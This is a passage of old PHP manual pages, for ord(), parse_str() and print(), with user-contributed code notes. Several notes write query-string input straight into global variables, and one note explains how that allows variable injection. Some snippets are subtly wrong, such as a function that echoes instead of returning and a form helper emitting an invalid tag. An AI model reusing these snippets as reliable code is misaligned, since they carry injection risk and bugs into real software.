i generated the folowing ids:
"char-97", "char-65", "char-98" ...
darien at etelos dot com 19-Jan-2007 08:27
I found I wanted to sanitize a string for certain ASCII/ANSI characters, but to leave unicode alone. Since ord() breaks on processing unicode, I drew these two functions up to help with a saniziter which looked at ordinal values. (Finding "pack" and "unpack" was much better than my own powers-of-256 code.)

<?php

/*
    By Darien Hager, Jan 2007... Use however you wish, but please
    please give credit in source comments.

    Change "UTF-8" to whichever encoding you are expecting to use.
*/
function ords_to_unistr($ords, $encoding = 'UTF-8'){
    // Turns an array of ordinal values into a string of unicode characters
    $str = '';
    for($i = 0; $i < sizeof($ords); $i++){
        // Pack this number into a 4-byte string
        // (Or multiple one-byte strings, depending on context.)
        $v = $ords[$i];
        $str .= pack("N",$v);
    }
    $str = mb_convert_encoding($str,$encoding,"UCS-4BE");
    return($str);
}

function unistr_to_ords($str, $encoding = 'UTF-8'){
    // Turns a string of unicode characters into an array of ordinal values,
    // Even if some of those characters are multibyte.
    $str = mb_convert_encoding($str,"UCS-4BE",$encoding);
    $ords = array();

    // Visit each unicode character
    for($i = 0; $i < mb_strlen($str,"UCS-4BE"); $i++){
        // Now we have 4 bytes. Find their total
        // numeric value.
        $s2 = mb_substr($str,$i,1,"UCS-4BE");
        $val = unpack("N",$s2);
        $ords[] = $val[1];
    }
    return($ords);
}

?>
S.N.O.W.M.A.N.-X 28-Sep-2006 09:47
Well, i was thinking about a method to hash a string with md5 in a loose way, so md5("HELLO") isn't the same like md5("Hello"), even, i my case, it is about cd-titles i got submitted by users. So i made some function transforming my string to right what i want

Thisone is the "call" function returning the "loose hash".
It will get only the chars of a string, make them to uppercase and then hash with md5.

<?php
function loosehash($string){
    return md5(strtoupper(onlyChars($string)));
}
?>

Thisone is moving through a string like a chararray and check for the asciivalues, you can edit the values and condition to fit your needs

<?php
function onlyChars($string){
    $strlength = strlen($string);
    $retString = "";
    for($i = 0; $i < $strlength; $i++){
        if((ord($string[$i]) >= 48 && ord($string[$i]) <= 57) ||
        (ord($string[$i]) >= 65 && ord($string[$i]) <= 90) ||
        (ord($string[$i]) >= 97 && ord($string[$i]) <= 122)){
            $retString .= $string[$i];
        }
    }

    echo $retString;
}
?>
Matthew Flint 31-Oct-2005 11:59
I wrote the following function to clean illegal characters from input strings.

(Background: I have a php-based news website. People were writing articles in MS Word, then copy-and-pasting the text into the website. Word uses non-standard characters for opening and closing quotes and double-quotes, and for "..." - and this was resulting in articles on the website that failed XHTML validation)

<?php
function clean_string_input($input)
{
    $interim = strip_tags($input);

    if(get_magic_quotes_gpc())
    {
        $interim=stripslashes($interim);
    }

    // now check for pure ASCII input
    // special characters that might appear here:
    //   96: opening single quote (not strictly illegal, but substitute anyway)
    //   145: opening single quote
    //   146: closing single quote
    //   147: opening double quote
    //   148: closing double quote
    //   133: ellipsis (...)
    //   163: pound sign (this is safe, so no substitution required)
    // these can be substituted for safe equivalents
    $result = '';
    for ($i=0; $i<strlen($interim); $i++)
    {
        $char = $interim{$i};
        $asciivalue = ord($char);
        if ($asciivalue == 96)
        {
            $result .= '\\'';
        }
        else if (($asciivalue > 31 && $asciivalue < 127) ||
                 ($asciivalue == 163) || // pound sign
                 ($asciivalue == 10) || // lf
                 ($asciivalue == 13)) // cr
        {
            // it's already safe ASCII
            $result .= $char;
        }
        else if ($asciivalue == 145) // opening single quote
        {
            $result .= '\\'';
        }
        else if ($asciivalue == 146) // closing single quote
        {
            $result .= '\\'';
        }
        else if ($asciivalue == 147) // opening double quote
        {
            $result .= '"';
        }
        else if ($asciivalue == 148) // closing double quote
        {
            $result .= '"';
        }
        else if ($asciivalue == 133) // ellipsis
        {
            $result .= '...';
        }
    }

    return $result;
}
?>
v0rbiz at yahoo dot com 29-May-2004 01:15
I did not found a unicode/multibyte capable 'ord' function, so...

<?php
function uniord($u) {
    $k = mb_convert_encoding($u, 'UCS-2LE', 'UTF-8');
    $k1 = ord(substr($k, 0, 1));
    $k2 = ord(substr($k, 1, 1));
    return $k2 * 256 + $k1;
}
?>


Parses the string into variables

  • « ord
  • print »
  • PHP Manual
  • String Functions
  • Parses the string into variables

parse_str

(PHP 4, PHP 5)

parse_str — Parses the string into variables

Description

void parse_str ( string $str [, array &$arr ] )

Parses str as if it were the query string passed via a URL and sets variables in the current scope.

Note:

To get the current QUERY_STRING, you may use the variable $_SERVER['QUERY_STRING']. Also, you may want to read the section on variables from external sources.

Note:

The magic_quotes_gpc setting affects the output of this function, as parse_str() uses the same mechanism that PHP uses to populate the $_GET, $_POST, etc. variables.

Parameters

str

The input string.

arr

If the second parameter arr is present, variables are stored in this variable as array elements instead.

Return Values

No value is returned.

Examples

Example #1 Using parse_str()

<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";
parse_str($str);
echo $first;  // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz

parse_str($str, $output);
echo $output['first'];  // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz

?>

See Also

  • parse_url() - Parse a URL and return its components
  • pathinfo() - Returns information about a file path
  • http_build_query() - Generate URL-encoded query string
  • get_magic_quotes_gpc() - Gets the current configuration setting of magic_quotes_gpc
  • urldecode() - Decodes URL-encoded string

User Contributed Notes

jmareda at seznam dot cz 10-Sep-2014 09:08
Just remember that the array you enter will be cleared. So if you have $COOKIES variable to store cookies while crawling something, you'll have to use array_merge to merge new cookies with old ones.
markc 01-Jul-2013 01:43
Beware using parse_str in a function that has vars passed by reference. It seems that parse_str actually creates new vars even if vars of the same name exist. If you pass by ref vars of the same name as those in a query string being parsed new LOCAL vers will be created and you won't get any values passed back to the caller (relates to what Maikel mentioned below)

An unrealistic example (vaguely related to what I was doing when I found this out)...

function get_title($query,&$title)
{
  parse_str($query);
  $title=str_replace("_"," ",$title);
}

$title="foo";
$query = "context=something&title=Title_of_Something";
get_title($query,$title);

echo $title .... "foo"
jrgns at jadeit dot co dot za 27-Jun-2012 05:57
The array to be populated does not need to be defined before calling the function:

<?php
error_reporting(E_ALL | E_STRICT);
parse_str('var=value', $array);
?>

This will not produce a notice.
shagshag 14-May-2012 02:51
That's not says in the description but max_input_vars directive affects this function. If there are more input variables on the string than specified by this directive, an E_WARNING is issued, and further input variables are truncated from the request.
Benjamin Garcia 26-Apr-2012 06:18
function like parse_str, but doesn't convert spaces and dots to underscores in $_GET AND $_POST

/**
 * GET and POST input containing dots, etc.
 */
function getRealREQUEST() {
    $vars = array();

    $input    = $_SERVER['REDIRECT_QUERY_STRING'];
    if(!empty($input)){
        $pairs    = explode("&", $input);
        foreach ($pairs     as $pair) {
            $nv                = explode("=", $pair);

            $name            = urldecode($nv[0]);
            $nameSanitize    = preg_replace('/([^\[]*)\[.*$/','$1',$name);

            $nameMatched    = str_replace('.','_',$nameSanitize);
            $nameMatched    = str_replace(' ','_',$nameMatched);

            $vars[$nameSanitize]    = $_REQUEST[$nameMatched];
        }
    }

    $input    = file_get_contents("php://input");
    if(!empty($input)){
        $pairs    = explode("&", $input);
        foreach ($pairs as $pair) {
            $nv                = explode("=", $pair);

            $name            = urldecode($nv[0]);
            $nameSanitize    = preg_replace('/([^\[]*)\[.*$/','$1',$name);

            $nameMatched    = str_replace('.','_',$nameSanitize);
            $nameMatched    = str_replace(' ','_',$nameMatched);

            $vars[$nameSanitize]    = $_REQUEST[$nameMatched];
        }
    }

    return $vars;
}
Will Voelcker 12-Aug-2010 08:07
If you need a function that does something similar to parse_str, but doesn't convert spaces and dots to underscores, try something like the following:

<?php
function parseQueryString($str) {
    $op = array();
    $pairs = explode("&", $str);
    foreach ($pairs as $pair) {
        list($k, $v) = array_map("urldecode", explode("=", $pair));
        $op[$k] = $v;
    }
    return $op;
}
?>

It may need adapting to handle various edge cases.
sam dot fullman at verizon dot net 29-Jun-2010 10:28
If you're using .htaccess to spoof pages in any type of application, then $QUERY_STRING or $_SERVER['QUERY_STRING'] is going to be blank.  Instead, $_SERVER['REDIRECT_QUERY_STRING'] will hold the actual query string passed by user.  Use this function to parse this variable.
me at bubjavier dot com 04-Feb-2010 11:48
be careful using parse_str() without the [array &$arr] parameter, as this may override values of global and existing variables.

<?php
$var1 = 1;
parse_str('var1=one&var2=two');
// $var1 is now 'one'
?>

Also may lead to variable value injection when used with user input data:

<?php
$_POST['range'] = 'min=1&max=5&important_var=important_value_no_more';

$important_var = 'important_value';
parse_str($_POST['range']);
?>
tobsn at php dot net 01-Jul-2008 08:17
just a heads up with the example above:
?var[]=123 - the [] has to be urlencoded.
var names and var values - both have to be urlencoded!
helpmepro1 at gmail dot com 28-Apr-2008 06:09
<?
//by shimon doodkin

 $url_form=url_to_form($url);
 echo '<form action="'.$url_form['action'].'" method="get">';
 echo $url_form['hidden'];
 echo '<input name="otherfiled" type="text">';
 echo '<input type="submit">';
 echo '</form>';

 function url_to_form($url)
 {
  $url=split('\?',$url,2);
  $action=$url[0];
  $hidden="";
  if(isset($url[1]))
  {
   $pairs=split('&',$url[1]);
   foreach($pairs as $pair)
   {
    $pair=split('=',$pair,2);
    $name=$pair[0];
    if(isset($pair[1]))
     $value=$pair[1];
    else
     $value='';
    $name=$name;
    $value=htmlspecialchars($value);
    if($name!='')
     $hidden.='<hidden name="'.$name.'" value="'.$value.'">';
   }
  }
  return array('action'=>$action,'hidden'=>$hidden);
 }

?>
sean at getclicky dot com 21-Apr-2008 06:39
This function automatically urldecodes values (not mentioned in the docs).
chris at mcfadyen dot ca 14-Nov-2007 01:02
I shouldn't've posted the original version, as it only worked with the most basic of query strings.

This function will parse an html-safe query-like url string for variables and php-like ordered and associative arrays.  It places them into the global scope as parse_str does and adds minimal slashes for database insertions without the triple-slash problems that magic quotes can produce (the reason I had to write it in the first place).  If you don't need the slashes, they're easy enough to remove.

<?php
function parse_query($str) {

    // Separate all name-value pairs
    $pairs = explode('&', $str);

    foreach($pairs as $pair) {

        // Pull out the names and the values
        list($name, $value) = explode('=', $pair, 2);

        // Decode the variable name and look for arrays
        list($name, $index) = split('[][]', urldecode($name));

        // Arrays
        if(isset($index)) {

            // Declare or add to the global array defined by $name
            global $$name;
            if(!isset($$name)) $$name = array();

            // Associative array
            if($index != "") {
                ${$name}[$index] = addslashes(urldecode($value));

            // Ordered array
            } else {
                array_push($$name, addslashes(urldecode($value)));
            }

        // Variables
        } else {

            // Declare or overwrite the global variable defined by $name
            global $$name;
            $$name = addslashes(urldecode($value));
        }
    }
}
?>
chris at mcfadyen dot ca 31-Oct-2007 05:48
If you wish a version of parse_str sans magic quotes, the following will do the trick:

<?php
function parse_query($str) {
    $pairs = explode('&', $str);

    foreach($pairs as $pair) {
        list($name, $value) = explode('=', $pair, 2);
        global $$name;
        $$name = $value;
    }
}
?>
kermodebear at kermodebear dot org 08-Aug-2007 08:09
An old post from several years ago mentions that variable names cannot have a dot. They also cannot have a space. Spaces are automatically replaced with an underscore.

The following:
parse_str("My Value=Something", $result);

Will result in:
$result['My_Value'] = 'Something'

Although I understand why it is done, I still feel that this is unintuitive behavior.
Evan K 31-Jul-2007 04:43
It bears mentioning that the parse_str builtin does NOT process a query string in the CGI standard way, when it comes to duplicate fields.  If multiple fields of the same name exist in a query string, every other web processing language would read them into an array, but PHP silently overwrites them:

<?php
# silently fails to handle multiple values
parse_str('foo=1&foo=2&foo=3');

# the above produces:
$foo = array('foo' => '3');
?>

Instead, PHP uses a non-standards compliant practice of including brackets in fieldnames to achieve the same effect.

<?php
# bizarre php-specific behavior
parse_str('foo[]=1&foo[]=2&foo[]=3');

# the above produces:
$foo = array('foo' => array('1', '2', '3') );
?>

This can be confusing for anyone who's used to the CGI standard, so keep it in mind.  As an alternative, I use a "proper" querystring parser function:

<?php
function proper_parse_str($str) {
  # result array
  $arr = array();

  # split on outer delimiter
  $pairs = explode('&', $str);

  # loop through each pair
  foreach ($pairs as $i) {
    # split into name and value
    list($name,$value) = explode('=', $i, 2);

    # if name already exists
    if( isset($arr[$name]) ) {
      # stick multiple values into an array
      if( is_array($arr[$name]) ) {
        $arr[$name][] = $value;
      }
      else {
        $arr[$name] = array($arr[$name], $value);
      }
    }
    # otherwise, simply stick it in a scalar
    else {
      $arr[$name] = $value;
    }
  }

  # return result array
  return $arr;
}

$query = proper_parse_str($_SERVER['QUERY_STRING']);
?>
Vladimir Kornea 17-Jul-2007 06:04
parse_str() is confused by ampersands (&) being encoded as HTML entities (&amp;). This is relevant if you're extracting your query string from an HTML page (scraping). The solution is to run the string through html_entity_decode() before running it through parse_str().

(Editors: my original comment was a caution whose solution is obvious, but it has resulted in three replies ("so what?" "as intended" and "this is how to fix it"). Please remove the previous four posts dealing with this (69529, 70234, 72745, 74818) and leave just the above summary. This issue is too trivial to warrant the number of comments it has received.)
Vladimir Kornea 17-Jul-2007 05:46
parse_str() contained a bug (#39763) in PHP 5.2.0 that caused it to apply magic quotes twice. This bug was marked as fixed in the release notes of PHP 5.2.1, but there were apparently some issues with getting the fix through CVS on time, as our install of PHP 5.2.1 was still affected by it.
mike dot coley at inbox dot com 02-Jun-2007 09:25
Here is a little function that does the opposite of the parse_str function. It will take an array and build a query string from it.

<?php

/* Converts an array of parameters into a query string to be appended to a URL.
 *
 * @return  string              : Query string to append to a URL.
 * @param   array    $array     : Array of parameters to append to the query string.
 * @param   string   $parent    : This should be left blank (it is used internally by the function).
 */
function append_params($array, $parent='')
{
    $params = array();
    foreach ($array as $k => $v)
    {
        if (is_array($v))
            $params[] = append_params($v, (empty($parent) ? urlencode($k) : $parent . '[' . urlencode($k) . ']'));
        else
            $params[] = (!empty($parent) ? $parent . '[' . urlencode($k) . ']' : urlencode($k)) . '=' . urlencode($v);
    }

    $sessid = session_id();
    if (!empty($parent) || empty($sessid))
        return implode('&', $params);

    // Append the session ID to the query string if we have to.
    $sessname = session_name();
    if (ini_get('session.use_cookies'))
    {
        if (!ini_get('session.use_only_cookies') && (!isset($_COOKIE[$sessname]) || ($_COOKIE[$sessname] != $sessid)))
            $params[] = $sessname . '=' . urlencode($sessid);
    }
    elseif (!ini_get('session.use_only_cookies'))
        $params[] = $sessname . '=' . urlencode($sessid);

    return implode('&', $params);
}

?>

Note that the function will also append the session ID to the query string if it needs to be.
Michal Zalewski 28-Apr-2007 08:27
Vladimir Kornea:
Try use html_entity_decode()

$str = 'first=value&amp;arr[]=foo+bar&amp;arr[]=baz';
parse_str(html_entity_decode($str), $output);
print_r($output);

Array
(
    [first] => value
    [arr] => Array
        (
            [0] => foo bar
            [1] => baz
        )

)
php at voodoolabs dot net 07-Mar-2007 09:32
This is probably a better solution than below. The first line makes sure the file doesn't exist then the second line directs all requests to a script. No need to output a 200 header with this method either.

RewriteEngine On

RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php      [L]
lenix.de 11-Feb-2007 01:20
if you would like to get a nice url scheme with php/apache and and want to handle all requests in a central php script there's a simple solution/hack:

create a .htaccess in your "basedir" where you've got your main script (in this example index.php) containing some lines like:

"ErrorDocument 404 /index.php"

inside index.php you can now do

<?php
    $virtual_path = substr(
        $_SERVER['REQUEST_URI'],
        strlen( dirname( $_SERVER['PHP_SELF'] ) ) + 1
    );
    if( ($pos = strpos( $virtual_path, '?' )) !== false ) {
        parse_str( substr( $virtual_path, $pos + 1 ), $_GET );
        $_REQUEST = array_merge( $_REQUEST, $_GET );
        $virtual_path = substr( $virtual_path, 0, $pos );
    }

    // some code checking for a valid location, etc...
    header( 'HTTP/1.1 200 OK' );
    header( 'Content-Type: text/plain' );

    echo $virtual_path."\n\n";
    print_r( $_REQUEST );
?>

// guido 'lenix' boehm
jgbreezer at gmail dot com 31-Jan-2007 01:52
Vladimir Kornea wrote on 8 Sep 2006:
"This function is confused by ampersands (&) being encoded as HTML entities (&amp;)"

Well, it would be - it's not supposed to be passed html entities, that's a different encoding scheme. This function does correctly decode url encoded params for you though (with the rawurlencode rather than urlencode, ie '+' is translated to a space).
Olivier Mengué 07-Oct-2006 11:02
Vladimir: the function is OK in how it deals with &amp;.
&amp; must only be used when outputing URLs in HTML/XML data.
You should ask yourself why you have &amp; in your URL when you give it to parse_str.
Vladimir Kornea 08-Sep-2006 11:15
This function is confused by ampersands (&) being encoded as HTML entities (&amp;).

$str = "first=value&amp;arr[]=foo+bar&amp;arr[]=baz";
parse_str($str, $output);
print_r($output);

Array
(
    [first] => value
    [amp;arr] => Array
        (
            [0] => foo bar
            [1] => baz
        )
)
PEPE_RIVAS at repixel dot net 29-Aug-2006 03:21
CONVERT ANY FORMATTED STRING INTO VARIABLES

I developed a online payment solution for credit cards using a merchant, and this merchant returns me an answer of the state of the transaction like this:

estado=1,txnid=5555444-8454445-4455554,monto=100.00

to have all that data into variables could be fine for me! so i use str_replace(), the problem is this function recognizes each group of variables with the & character... and i have  comma separated values... so i replace comma with &

<?php
$string = "estado=1,txnid=5555444-8454445-4455554,monto=100.00";
$string = str_replace(",","&",$string);
parse_str($string);
echo $monto; // outputs 100.00
?>
motin at demomusic dot nu 15-Apr-2006 03:13
When you have scripts run through the command-line (like locally via cron), you might want to be able to use _GET and _POST vars. Put this in top of your scheduled task files:

<?
    parse_str ($_SERVER['argv'][1], $GLOBALS['_GET']);
    parse_str ($_SERVER['argv'][2], $GLOBALS['_POST']);
?>

And call your script by:

/usr/local/bin/php /path/to/script.php "id=45&action=delete" "formsubmitted=true"

Cheers!
avi at amarcus dot com 04-Sep-2005 03:32
If you are trying to preserve a complex array, the function serialize might be better than http_build_query or other methods of making a query string.
29-Jun-2005 02:59
As of PHP 5, you can do the exact opposite with http_build_query(). Just remember to use the optional array output parameter.

This is a very useful combination if you want to re-use a search string url, but also slightly modify it:

Example:
<?
$url1 = "action=search&interest[]=sports&interest[]=music&sort=id";
$str = parse_str($url1, $output);

// Modifying criteria:
$output['sort'] = "interest";

$url2 = http_build_query($output);

echo "<br>url1: ".$url1;
echo "<br>url2: ".$url2;
?>

Results in:
url1: action=search&interest[]=sports&interest[]=music&sort=id
url2: action=search&interest[0]=sports&interest[1]=music&sort=interest

(Array indexes are automatically created.)
kerosuppi 29-May-2005 06:22
This does not work as expected.

<?php
class someclass
{
    var $query_string;
    function someclass($a_query_string)
    {
        $this->query_string = $a_query_string;
        parse_str($this->query_string);
    }
    function output()
    {
        echo $this->action;
    }
}

$a_class = new someclass("action=go");
$a_class->output();
?>

Use this instead.

<?php
class someclass
{
    var $arr;
    function someclass($a_query_string)
    {
        parse_str($a_query_string, $this->arr);
    }
    function output()
    {
        echo $this->arr['action'];
    }
}

$a_class = new someclass("action=go");
$a_class->output();
?>
mortoray at ecircle-ag dot com 25-May-2005 09:18
In Kent's solution you may wish to switch "urldecode" into "rawurldecode" if you'd like to get rid of the [annoying] plus '+' converted to space ' ' translation.
kent at nospam dot ioflux dot com 06-May-2005 05:13
You may want to parse the query string into an array.

<?php
/**
 * Similar to parse_str. Returns false if the query string or URL is empty. Because we're not parsing to
 * variables but to array key entries, this function will handle ?[]=1&[]=2 "correctly."
 *
 * @return array Similar to the $_GET formatting that PHP does automagically.
 * @param string $url A query string or URL
 * @param boolean $qmark Find and strip out everything before the question mark in the string
*/
function parse_query_string($url, $qmark=true)
{
    if ($qmark) {
        $pos = strpos($url, "?");
        if ($pos !== false) {
            $url = substr($url, $pos + 1);
        }
    }
    if (empty($url))
        return false;
    $tokens = explode("&", $url);
    $urlVars = array();
    foreach ($tokens as $token) {
        $value = string_pair($token, "=", "");
        if (preg_match('/^([^\[]*)(\[.*\])$/', $token, $matches)) {
            parse_query_string_array($urlVars, $matches[1], $matches[2], $value);
        } else {
            $urlVars[urldecode($token)] = urldecode($value);
        }
    }
    return $urlVars;
}

/**
 * Utility function for parse_query_string. Given a result array, a starting key, and a set of keys formatted like "[a][b][c]"
 * and the final value, updates the result array with the correct PHP array keys.
 *
 * @return void
 * @param array $result A result array to populate from the query string
 * @param string $k The starting key to populate in $result
 * @param string $arrayKeys The key list to parse in the form "[][a][what%20ever]"
 * @param string $value The value to place at the destination array key
*/
function parse_query_string_array(&$result, $k, $arrayKeys, $value)
{
    if (!preg_match_all('/\[([^\]]*)\]/', $arrayKeys, $matches))
        return $value;
    if (!isset($result[$k])) {
        $result[urldecode($k)] = array();
    }
    $temp =& $result[$k];
    $last = urldecode(array_pop($matches[1]));
    foreach ($matches[1] as $k) {
        $k = urldecode($k);
        if ($k === "") {
            $temp[] = array();
            $temp =& $temp[count($temp)-1];
        } else if (!isset($temp[$k])) {
            $temp[$k] = array();
            $temp =& $temp[$k];
        }
    }
    if ($last === "") {
        $temp[] = $value;
    } else {
        $temp[urldecode($last)] = $value;
    }
}

/**
* Breaks a string into a pair for a common parsing function.
*
* The string passed in is truncated to the left half of the string pair, if any, and the right half, if anything, is returned.
*
* An example of using this would be:
* <code>
* $path = "Account.Balance";
* $field = string_pair($path);
*
* $path is "Account"
* $field is "Balance"
*
* $path = "Account";
* $field = string_pair($path);
*
* $path is "Account"
* $field is false
* </code>
*
* @return string The "right" portion of the string is returned if the delimiter is found.
* @param string $a A string to break into a pair. The "left" portion of the string is returned here if the delimiter is found.
* @param string $delim The characters used to delimit a string pair
* @param mixed $default The value to return if the delimiter is not found in the string
* @desc
*/
function string_pair(&$a, $delim='.', $default=false)
{
    $n = strpos($a, $delim);
    if ($n === false)
        return $default;
    $result = substr($a, $n+strlen($delim));
    $a = substr($a, 0, $n);
    return $result;
}

?>
anatilmizun at gmail dot com 13-Oct-2004 01:10
I wrote a pair of functions using parse_str() that will write values in an array to a textfile and vice versa, read those values from the textfile back into the array. Quite useful if you need to store lots of data but don't have access to SQL.

Save the array by calling cfg_save($filename,$array) and load it back using $array=cfg_load($filename)

<?php
$newline="�";

function cfg_load($cfgfile){
    global $newline;
    $setting="";
    if(file_exists($cfgfile)){
        $setting=fopen($cfgfile, "r");
        $ookk="";
        while($ook=fgets($setting)){
            #strip comment
            $commt=strpos($ook,"##");
            if($commt!==false) $ook=substr($ook,0,$commt);
            #append
            if($ook!="") $ookk=$ookk."&".    str_replace($newline,"\n",str_replace("&","%26",trim($ook)));
        }
        fclose($setting);
        parse_str($ookk, $setting);
    }
    return $setting;
}

function cfg_save($cfgfile,$setting){
    global $intArray;
    $intArray="";
    for($i=0;$i<2000;$i++)
        $intArray[]=$i;
    if(is_array($setting)){
        $allkeys=array_keys($setting);
        foreach($allkeys as $aKey)
            cfg_recurse($setting[$aKey], $aKey, $outArray);
    }
    $cfgf=fopen($cfgfile,"w");
    foreach($outArray as $aLine)
        fputs($cfgf,stripslashes($aLine)."\r\n");
    fclose($cfgf);
}

function cfg_recurse($stuffIn, $keysofar, &$toAppend){
    global $intArray, $newline;
    if(is_array($stuffIn)){
        $allkeys=array_keys($stuffIn);
        if(array_slice($intArray,0,sizeof($allkeys))==$allkeys)
            $nokey=true;
        else
            $nokey=false;
        foreach($allkeys as $aKey){
            if(!$nokey) $toKey=$aKey;
            cfg_recurse($stuffIn[$aKey], $keysofar."[".$toKey."]", $toAppend);
        }
    }else
        $toAppend[]=$keysofar."=".str_replace("\n",$newline,$stuffIn);
}
?>

Note that these functions support nested arrays of unlimited levels ;)
Matt Curtis 09-Sep-2004 05:46
If the querystring contains duplicate keys in the key-value pairs, parse_str will only return the last instance of the value.  For example, in the following:

<?php
$mystr = "test1=blah&test2=bleh&test1=burp";
parse_str($mystr, $myarray);
echo $myarray['test1'];
?>
The value output will be 'burp'.

I wrote a function that takes a querystring and returns the the key-value pairs as a two-dimensional array so each duplicate key is available:

<?php
$str = "test1=blah&test2=bleh&test1=burp";
$valsarray = parse_str_ext($str);
echo $valsarray['test1'][0];
echo $valsarray['test1'][1];
echo $valsarray['test2'][0];

function parse_str_ext($toparse) {
    $returnarray = array();
    $keyvaluepairs = split("&", $toparse);
    foreach($keyvaluepairs as $pairval) {
        $splitpair = split("=", $pairval);
        if(!array_key_exists($splitpair[0], $returnarray)) $returnarray[$splitpair[0]] = array();

        $returnarray[$splitpair[0]][] = $splitpair[1];
    }
    return $returnarray;
}
?>

Output will be:
blah
burp
bleh
17-Jun-2004 02:23
Note that variables cannot contain a DOT (.) in PHP. So, DOT will be replaced by underscore.
e.g. variables like "variable.something" will be converted into "variable_something".
31-Mar-2004 07:58
The documentation does not appear to mention that parse_str also urldecodes each item in the resulting array.

There also appears to be a bug in earlier versions of PHP that causes these urldecoded strings to also be escaped.  (Certainly I was having problems with %22 being turned into /" on my server, but not on my development box, despite forcing magic quotes off).


Output a string

  • « parse_str
  • printf »
  • PHP Manual
  • String Functions
  • Output a string

print

(PHP 4, PHP 5)

print — Output a string

Description

int print ( string $arg )

Outputs arg.

print is not actually a real function (it is a language construct) so you are not required to use parentheses with its argument list.

Parameters

arg

The input data.

Return Values

Returns 1, always.

Examples

Example #1 print examples

<?php
print("Hello World");

print "print() also works without parentheses.";

print "This spans
multiple lines. The newlines will be
output as well";

print "This spans\nmultiple lines. The newlines will be\noutput as well.";

print "escaping characters is done \"Like this\".";

// You can use variables inside a print statement
$foo = "foobar";
$bar = "barbaz";

print "foo is $foo"; // foo is foobar

// You can also use arrays
$bar = array("value" => "foo");

print "this is {$bar['value']} !"; // this is foo !

// Using single quotes will print the variable name, not the value
print 'foo is $foo'; // foo is $foo

// If you are not using any other characters, you can just print variables
print $foo;          // foobar

print <<<END
This uses the "here document" syntax to output
multiple lines with $variable interpolation. Note
that the here document terminator must appear on a
line with just a semicolon no extra whitespace!
END;
?>

Notes

Note: Because this is a language construct and not a function, it cannot be called using variable functions.

See Also

  • echo - Output one or more strings
  • printf() - Output a formatted string
  • flush() - Flush system output buffer
  • Heredoc syntax

User Contributed Notes

Luke Wenke 08-Aug-2013 03:46
"print is not actually a real function (it is a language construct) so you are not required to use parentheses with its argument list."

I don't think it has an "argument list" because the following gives a syntax error:

print (1, 2);

Here is an example of how the brackets work with print:

print ((1) + (2)) + (3);

Unlike a function it doesn't just use the first brackets... it prints "9".
aflavio at gmail dot com 12-Jan-2011 09:32
Check this statement:

echo 3 . print(2) . print(4) . 5 . 'c' . print(6) . print(7). 'b' .print(8) . 'a';

It's will always output starting from the right to the left.

Thus we have:

8a                              //1o print
7b18a                        //2o print
617b18a                    //3o print
8a7b16145c1             //4o print

8a7b16145c12131     //Final output

That's it.
Chris Watson 01-Oct-2009 10:20
mvpetrovich of 2007 could just use single quotes as his string delimiters (see the example in the current documentation).
It's not ALWAYS appropriate, but generally it is best (the Zend Framework coding standards have a good take on this). It yields a number of interesting benefits:
1: Nobody will be tempted to write functions to replace backticks or other characters with double quotes. Such functions may cause a (negligible) loss of efficiency, and maybe other undesired effects.
2: You will be able to use double quotes without escaping. This is recommended (although not required) for HTML and XML attributes, as well as quoted text.
3: The script will hit the browser very slightly slightly faster since PHP doesn't have to scan through the string looking for variables, escaped characters, curly braces or other things.
4: Your code gets ten times easier to read. (as mvpetrovich pointed out)

If, in spite of these four excellent benefits, you really MUST still use double quotes to delimit boring old string constants (and seriously, why would you?), you could use the slightly less favourable single quotes as delimiters for most markup languages.
HTML served as HTML will even let you lay out unquoted attributes (yuck).

It should also be noted though that if you are just printing bare strings, you may as well shut off the php parser. The quickest way to send a string is to write it as plain text, OUTSIDE of the php tags. This will also make your code look excellent in a lot of syntax highlighters.

There are few disadvantages to doing this, if any. Output buffering still works. All your classes and objects and includes remain in place. Your script runs faster. World peace is obtained.
http://www.danielxmorris.com 28-Aug-2008 04:46
An update to the println function I wrote below, this is a more efficient, correct and returns a value (1, always; (print)).

<?php

    function println($string_message = '') {
        return isset($_SERVER['SERVER_PROTOCOL']) ? print "$string_message<br />" . PHP_EOL:
          print $string_message . PHP_EOL;
    }

?>
user at example dot net 25-Aug-2008 06:47
Be careful when using print. Since print is a language construct and not a function, the parentheses around the argument is not required.
In fact, using parentheses can cause confusion with the syntax of a function and SHOULD be omited.

Most would expect the following behavior:
<?php
    if (print("foo") && print("bar")) {
        // "foo" and "bar" have been printed
    }
?>

But since the parenthesis around the argument are not required, they are interpretet as part of the argument.
This means that the argument of the first print is

    ("foo") && print("bar")

and the argument of the second print is just

    ("bar")

For the expected behavior of the first example, you need to write:
<?php
    if ((print "foo") && (print "bar")) {
        // "foo" and "bar" have been printed
    }
?>
user at example dot net 25-Aug-2008 06:45
Be careful when using print. Since print is a language construct and not a function, the parentheses around the argument is not required.
In fact, using parentheses can cause confusion with the syntax of a function and SHOULD be omited.

Most would expect the following behavior:
<?php
    if (print("foo") && print("bar")) {
        // "foo" and "bar" had been printed
    }
?>

But since the parenthesis around the argument are not required, they are interpretet as part of the argument.
This means that the argument of the first print is

    ("foo") && print("bar")

and the argument of the second print is just

    ("bar")

For the expected behavior of the first example, you need to write:
<?php
    if ((print "foo") && (print "bar")) {
        // "foo" and "bar" had been printed
    }
?>
danielxmorris @ gmail dotcom 16-May-2008 01:08
I wrote a println function that determines whether a \n or a <br /> should be appended to the line depending on whether it's being executed in a shell or a browser window.  People have probably thought of this before but I thought I'd post it anyway - it may help a couple of people.

<?php
function println ($string_message) {
    $_SERVER['SERVER_PROTOCOL'] ? print "$string_message<br />" : print "$string_message\n";
}
?>

Examples:

Running in a browser:

<?php println ("Hello, world!"); ?>
Output: Hello, world!<br />

Running in a shell:

<?php println ("Hello, world!"); ?>
Output: Hello, world!\n
jon 01-Jun-2007 04:19
the FAQTs article can be found archived at http://web.archive.org/web/20060601063513/http
://www.faqts.com/knowledge_base/view.phtml/aid/1/fid/40

(url split to get past the line-length limitation)
mvpetrovich 30-Mar-2007 08:02
I grew quite tired of backslashes, and wrote these routines. It uses the back single quote as a substitute for double quotes within a statement.  It made my code much more readable.  It is a little easier than using a "here document."  I also found I make a few less typing errors.

<?php

function qq($text) {return str_replace('`','"',$text); }
function printq($text) { print qq($text); }
function printqn($text) { print qq($text)."\n"; }

//example - before

